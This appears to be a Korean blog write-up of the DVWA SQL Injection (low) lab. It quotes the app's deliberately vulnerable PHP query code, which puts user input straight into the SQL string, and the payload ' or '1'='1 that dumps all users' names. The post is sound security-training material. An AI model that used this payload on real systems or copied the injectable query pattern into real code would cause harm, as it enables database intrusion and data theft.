userid를 입력할 수 있는 창이 있다.
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
구성 코드이다.
데이터베이스는 MYSQL이기 때문에 case MYSQL에서
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 이 부분만 보면 된다.
id에
' or '1'='1
을 넣어주면 구문이 SELECT first_name, last_name FROM users WHERE user_id = ' ' or '1' = '1' ;
이렇게 바뀐다.
이렇게 모든 id에 대한 first name과 surname을 얻을 수 있다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA Weak Session IDs(low) 롸업 (0) | 2023.11.08 |
---|---|
DVWA Blind SQL Injection(low) 롸업 (0) | 2023.11.08 |
DVWA Insecure CAPTCHA(low) 롸업 (0) | 2023.11.07 |
DVWA File Upload(low) 롸업 (0) | 2023.11.07 |
DVWA File Inclusion(low) 롸업 (0) | 2023.11.07 |